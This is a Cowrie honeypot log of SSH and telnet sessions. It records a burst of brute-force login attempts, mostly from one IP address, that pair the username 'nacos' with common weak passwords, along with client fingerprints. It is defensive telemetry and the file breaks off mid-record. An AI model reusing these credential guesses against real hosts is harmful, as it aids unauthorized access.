{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":60458,"dst_ip":"10.17.0.5","dst_port":22,"session":"17c9b87b15f8","protocol":"ssh","message":"New connection: 36.253.9.69:60458 (10.17.0.5:22) [session: 17c9b87b15f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:03.161128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:03.166912Z","src_ip":"36.253.9.69","session":"17c9b87b15f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:03.408451Z","src_ip":"36.253.9.69","session":"17c9b87b15f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Test@123","message":"login attempt [nacos/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:04.448930Z","src_ip":"36.253.9.69","session":"17c9b87b15f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.250000476837158,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:04.587623Z","src_ip":"38.60.198.128","session":"0c854e11ad2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:05.693637Z","src_ip":"36.253.9.69","session":"17c9b87b15f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":60472,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a36aceaabd0","protocol":"ssh","message":"New connection: 36.253.9.69:60472 (10.17.0.5:22) [session: 7a36aceaabd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:05.911705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:05.916711Z","src_ip":"36.253.9.69","session":"7a36aceaabd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:06.147497Z","src_ip":"36.253.9.69","session":"7a36aceaabd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"eve","message":"login attempt [nacos/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:07.148966Z","src_ip":"36.253.9.69","session":"7a36aceaabd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:08.391082Z","src_ip":"36.253.9.69","session":"7a36aceaabd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":48714,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9585ca6b953","protocol":"ssh","message":"New connection: 36.253.9.69:48714 (10.17.0.5:22) [session: b9585ca6b953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:08.655892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:08.661114Z","src_ip":"36.253.9.69","session":"b9585ca6b953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:08.916785Z","src_ip":"36.253.9.69","session":"b9585ca6b953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Admin@123","message":"login attempt [nacos/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:10.009209Z","src_ip":"36.253.9.69","session":"b9585ca6b953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.52429509162903,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:10.275474Z","src_ip":"38.60.198.128","session":"7a31c9ae850b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.954487323760986,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:10.823400Z","src_ip":"38.60.198.128","session":"5d5e97de04a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:11.266852Z","src_ip":"36.253.9.69","session":"b9585ca6b953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":48716,"dst_ip":"10.17.0.5","dst_port":22,"session":"258ba5722501","protocol":"ssh","message":"New connection: 36.253.9.69:48716 (10.17.0.5:22) [session: 258ba5722501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:11.476942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:11.482466Z","src_ip":"36.253.9.69","session":"258ba5722501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:11.723160Z","src_ip":"36.253.9.69","session":"258ba5722501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Root@123","message":"login attempt [nacos/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:12.755353Z","src_ip":"36.253.9.69","session":"258ba5722501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.862717628479004,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:13.819947Z","src_ip":"192.211.53.160","session":"feadd6bf37b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:13.998162Z","src_ip":"36.253.9.69","session":"258ba5722501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":48728,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e920b7c13e3","protocol":"ssh","message":"New connection: 36.253.9.69:48728 (10.17.0.5:22) [session: 4e920b7c13e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:14.256783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:14.261157Z","src_ip":"36.253.9.69","session":"4e920b7c13e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:14.507427Z","src_ip":"36.253.9.69","session":"4e920b7c13e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58718,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7074462c483","protocol":"telnet","message":"New connection: 38.60.198.128:58718 (159.203.135.109:23) [session: f7074462c483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:14.892694Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Root@1234","message":"login attempt [nacos/Root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:15.568079Z","src_ip":"36.253.9.69","session":"4e920b7c13e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:16.817931Z","src_ip":"36.253.9.69","session":"4e920b7c13e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":41730,"dst_ip":"10.17.0.5","dst_port":22,"session":"abe65d639d60","protocol":"ssh","message":"New connection: 36.253.9.69:41730 (10.17.0.5:22) [session: abe65d639d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:17.043667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:17.049927Z","src_ip":"36.253.9.69","session":"abe65d639d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:17.287280Z","src_ip":"36.253.9.69","session":"abe65d639d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":63064,"dst_ip":"159.203.135.109","dst_port":22,"session":"033aeb49dcdf","protocol":"ssh","message":"New connection: 94.156.152.18:63064 (159.203.135.109:22) [session: 033aeb49dcdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:17.587729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:17.597464Z","src_ip":"94.156.152.18","session":"033aeb49dcdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:17.728002Z","src_ip":"94.156.152.18","session":"033aeb49dcdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ8VCPU32GBAMD","message":"login attempt [root/XYZZ8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:18.126484Z","src_ip":"94.156.152.18","session":"033aeb49dcdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"1313144","message":"login attempt [nacos/1313144] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:18.308965Z","src_ip":"36.253.9.69","session":"abe65d639d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49350,"dst_ip":"10.17.0.5","dst_port":23,"session":"128d08cf520e","protocol":"telnet","message":"New connection: 45.81.23.16:49350 (10.17.0.5:23) [session: 128d08cf520e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:19.118617Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:19.257610Z","src_ip":"94.156.152.18","session":"033aeb49dcdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:19.549706Z","src_ip":"36.253.9.69","session":"abe65d639d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":41734,"dst_ip":"10.17.0.5","dst_port":22,"session":"afe7960bab54","protocol":"ssh","message":"New connection: 36.253.9.69:41734 (10.17.0.5:22) [session: afe7960bab54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:19.777149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:19.781992Z","src_ip":"36.253.9.69","session":"afe7960bab54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:20.013123Z","src_ip":"36.253.9.69","session":"afe7960bab54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Root1234","message":"login attempt [nacos/Root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:21.014342Z","src_ip":"36.253.9.69","session":"afe7960bab54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:22.249485Z","src_ip":"36.253.9.69","session":"afe7960bab54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":41742,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ac003d4c977","protocol":"ssh","message":"New connection: 36.253.9.69:41742 (10.17.0.5:22) [session: 3ac003d4c977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:22.508094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:22.512950Z","src_ip":"36.253.9.69","session":"3ac003d4c977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-